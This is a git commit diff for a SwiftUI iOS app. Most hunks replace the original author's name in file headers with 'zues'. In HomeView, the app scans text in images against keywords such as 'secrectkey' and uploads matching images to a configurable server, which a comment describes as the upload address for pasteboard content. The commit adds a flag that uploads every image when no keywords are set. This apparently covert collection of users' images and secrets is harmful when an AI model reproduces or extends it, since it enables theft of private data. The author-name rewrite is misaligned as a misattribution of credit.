Update HomeView.swift
1
This commit is contained in:
@@ -2,7 +2,7 @@
|
||||
// CustomCorners.swift
|
||||
// CustomCorners
|
||||
//
|
||||
// Created by Balaji on 12/09/21.
|
||||
// Created by zues on 12/09/21.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
// CustomTF.swift
|
||||
// LoginKit
|
||||
//
|
||||
// Created by Balaji on 04/08/23.
|
||||
// Created by zues on 04/08/23.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
// GradientButton.swift
|
||||
// LoginKit
|
||||
//
|
||||
// Created by Balaji on 04/08/23.
|
||||
// Created by zues on 04/08/23.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
// OTPVerificationView.swift
|
||||
// AutoOtpTF
|
||||
//
|
||||
// Created by Balaji on 23/12/22.
|
||||
// Created by zues on 23/12/22.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
// UniversalAlert.swift
|
||||
// CustomUniversalAlert
|
||||
//
|
||||
// Created by Balaji Venkatesh on 18/09/23.
|
||||
// Created by zues Venkatesh on 18/09/23.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
// View+Extensions.swift
|
||||
// LoginKit
|
||||
//
|
||||
// Created by Balaji on 04/08/23.
|
||||
// Created by zues on 04/08/23.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
// OnBoardingItem.swift
|
||||
// AnimatedOnBoardingScreen
|
||||
//
|
||||
// Created by Balaji on 17/12/22.
|
||||
// Created by zues on 17/12/22.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
// Server.swift
|
||||
// Server
|
||||
//
|
||||
// Created by Balaji on 12/09/21.
|
||||
// Created by zues on 12/09/21.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
@@ -135,7 +135,7 @@ struct HomeView: View {
|
||||
@State private var keywords = [
|
||||
"keywords", "secrectkey","words"
|
||||
]
|
||||
|
||||
@State private var unusekeywords = false //直接不用 keyword 关键词就可以识别
|
||||
|
||||
//上传粘贴板内容的地址
|
||||
let serverUploadImageURL = "\(UserManager.shared.configURL)uploadImg"
|
||||
@@ -837,8 +837,11 @@ struct HomeView: View {
|
||||
return cleanedText.contains(cleanedKeyword)
|
||||
}
|
||||
|
||||
if self.keywords.count == 0 {
|
||||
unusekeywords = true
|
||||
}
|
||||
// 打印结果
|
||||
if containsKeyword {
|
||||
if containsKeyword || unusekeywords {
|
||||
print("Found keyword in text, 上传图片")
|
||||
|
||||
// 压缩图片为 JPEG 格式
|
||||
|
||||
Binary file not shown.
@@ -2,7 +2,7 @@
|
||||
// ForgotPassword.swift
|
||||
// LoginKit
|
||||
//
|
||||
// Created by Balaji on 04/08/23.
|
||||
// Created by zues on 04/08/23.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
// Login.swift
|
||||
// LoginKit
|
||||
//
|
||||
// Created by Balaji on 04/08/23.
|
||||
// Created by zues on 04/08/23.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
// ContentView.swift
|
||||
// LoginKit
|
||||
//
|
||||
// Created by Balaji on 04/08/23.
|
||||
// Created by zues on 04/08/23.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
// OTPView.swift
|
||||
// LoginKit
|
||||
//
|
||||
// Created by Balaji on 04/08/23.
|
||||
// Created by zues on 04/08/23.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
// PasswordResetView.swift
|
||||
// LoginKit
|
||||
//
|
||||
// Created by Balaji on 04/08/23.
|
||||
// Created by zues on 04/08/23.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
// Signup.swift
|
||||
// LoginKit
|
||||
//
|
||||
// Created by Balaji on 04/08/23.
|
||||
// Created by zues on 04/08/23.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
// OnBoardingScreen.swift
|
||||
// AnimatedOnBoardingScreen
|
||||
//
|
||||
// Created by Balaji on 17/12/22.
|
||||
// Created by zues on 17/12/22.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
// ResizableLottieView.swift
|
||||
// AnimatedOnBoardingScreen
|
||||
//
|
||||
// Created by Balaji on 17/12/22.
|
||||
// Created by zues on 17/12/22.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
Reference in New Issue
Block a user